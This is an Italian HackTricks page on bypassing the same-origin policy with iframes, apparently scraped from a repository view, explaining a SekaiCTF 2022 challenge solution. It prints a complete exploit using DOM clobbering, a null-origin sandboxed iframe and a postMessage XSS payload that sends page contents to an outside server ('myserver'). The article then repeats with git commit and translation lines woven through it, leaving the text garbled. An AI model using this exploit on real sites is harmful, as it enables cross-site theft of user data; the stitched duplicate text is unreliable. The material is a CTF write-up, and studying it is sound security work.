hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

# Bypassing SOP with Iframes - 2

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Iframes in SOP-2

Nella [**soluzione**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) per questa [**sfida**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propone un metodo simile alla sezione precedente. Controlliamolo.

In questa sfida, l'attaccante deve **bypassare** questo:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Se lo fa, può inviare un **postmessage** con contenuto HTML che verrà scritto nella pagina con **`innerHTML`** senza sanificazione (**XSS**).

Il modo per bypassare il **primo controllo** è rendere **`window.calc.contentWindow`** **`undefined`** e **`e.source`** **`null`**:

* **`window.calc.contentWindow`** è in realtà **`document.getElementById("calc")`**. Puoi sovrascrivere **`document.getElementById`** con **`<img name=getElementById />`** (nota che l'API Sanitizer -[qui](https://wicg.github.io/sanitizer-api/#dom-clobbering)- non è configurata per proteggere contro attacchi di DOM clobbering nel suo stato predefinito).
* Pertanto, puoi sovrascrivere **`document.getElementById("calc")`** con **`<img name=getElementById /><div id=calc></div>`**. Quindi, **`window.calc`** sarà **`undefined`**.
* Ora, abbiamo bisogno che **`e.source`** sia **`undefined`** o **`null`** (perché `==` è usato invece di `===`, **`null == undefined`** è **`True`**). Ottenere questo è "facile". Se crei un **iframe** e **invi** un **postMessage** da esso e immediatamente **rimuovi** l'iframe, **`e.origin`** sarà **`null`**. Controlla il seguente codice
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
Per bypassare il **secondo controllo** riguardo al token, si invia **`token`** con valore `null` e si rende il valore di **`window.token`** **`undefined`**:

* Inviare `token` nel postMessage con valore `null` è banale.
* **`window.token`** nella chiamata della funzione **`getCookie`** che utilizza **`document.cookie`**. Si noti che qualsiasi accesso a **`document.cookie`** in pagine di origine **`null`** genera un **errore**. Questo farà sì che **`window.token`** abbia valore **`undefined`**.

La soluzione finale di [**@terjanq**](https://twitter.com/terjanq) è il [**seguente**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
```
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Supporta HackTricks</summary>

* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.

</details>
{% endhint %}
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`# Bypassing SOP with Iframes - 2`

			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`{% endhint %}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`## Iframes in SOP-2`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`Nella [soluzione](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) per questa [sfida](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc), [@Strellic\_](https://twitter.com/Strellic\_) propone un metodo simile alla sezione precedente. Controlliamolo.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`In questa sfida, l'attaccante deve bypassare questo:`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```javascript
			`if (e.source == window.calc.contentWindow && e.data.token == window.token) {`
			```
Translated to Italian 2024-02-10 13:03:23 +00:00			Se lo fa, può inviare un postmessage con contenuto HTML che verrà scritto nella pagina con `innerHTML` senza sanificazione (XSS).
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			Il modo per bypassare il primo controllo è rendere `window.calc.contentWindow` `undefined` e `e.source` `null`:
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			* `window.calc.contentWindow` è in realtà `document.getElementById("calc")`. Puoi sovrascrivere `document.getElementById` con `<img name=getElementById />` (nota che l'API Sanitizer -[qui](https://wicg.github.io/sanitizer-api/#dom-clobbering)- non è configurata per proteggere contro attacchi di DOM clobbering nel suo stato predefinito).
Translated to Italian 2024-02-10 13:03:23 +00:00			* Pertanto, puoi sovrascrivere `document.getElementById("calc")` con `<img name=getElementById /><div id=calc></div>`. Quindi, `window.calc` sarà `undefined`.
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			* Ora, abbiamo bisogno che `e.source` sia `undefined` o `null` (perché `==` è usato invece di `===`, `null == undefined` è `True`). Ottenere questo è "facile". Se crei un iframe e invi un postMessage da esso e immediatamente rimuovi l'iframe, `e.origin` sarà `null`. Controlla il seguente codice
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```javascript
			`let iframe = document.createElement('iframe');`
			`document.body.appendChild(iframe);`
			`window.target = window.open("http://localhost:8080/");`
			`await new Promise(r => setTimeout(r, 2000)); // wait for page to load`
			iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
			`document.body.removeChild(iframe); //e.origin === null`
			```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			Per bypassare il secondo controllo riguardo al token, si invia `token` con valore `null` e si rende il valore di `window.token` `undefined`:
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			* Inviare `token` nel postMessage con valore `null` è banale.
			* `window.token` nella chiamata della funzione `getCookie` che utilizza `document.cookie`. Si noti che qualsiasi accesso a `document.cookie` in pagine di origine `null` genera un errore. Questo farà sì che `window.token` abbia valore `undefined`.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`La soluzione finale di [@terjanq](https://twitter.com/terjanq) è il [seguente](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```html
			`<html>`
Translated to Italian 2024-02-10 13:03:23 +00:00			`<body>`
			`<script>`
			`// Abuse "expr" param to cause a HTML injection and`
			`// clobber document.getElementById and make window.calc.contentWindow undefined`
			`open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');`

			`function start(){`
			`var ifr = document.createElement('iframe');`
			`// Create a sandboxed iframe, as sandboxed iframes will have origin null`
			`// this null origin will document.cookie trigger an error and window.token will be undefined`
			`ifr.sandbox = 'allow-scripts allow-popups';`
			ifr.srcdoc = `<script>(${hack})()<\/script>`

			`document.body.appendChild(ifr);`

			`function hack(){`
			`var win = open('https://obligatory-calc.ctf.sekai.team');`
			`setTimeout(()=>{`
			`parent.postMessage('remove', '*');`
			`// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because`
			`// token=null equals to undefined and e.source will be null so null == undefined`
			win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
			`},1000);`
			`}`

			`// this removes the iframe so e.source becomes null in postMessage event.`
			`onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }`
			`}`
			`setTimeout(start, 1000);`
			`</script>`
			`</body>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`</html>`
			```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`{% hint style="success" %}`
			`Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`<summary>Supporta HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`* Controlla i [piani di abbonamento](https://github.com/sponsors/carlospolop)!`
			`* Unisciti al 💬 [gruppo Discord](https://discord.gg/hRep4RUj7f) o al [gruppo telegram](https://t.me/peass) o seguici su Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Condividi trucchi di hacking inviando PR ai [HackTricks](https://github.com/carlospolop/hacktricks) e [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) repos su github.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`{% endhint %}`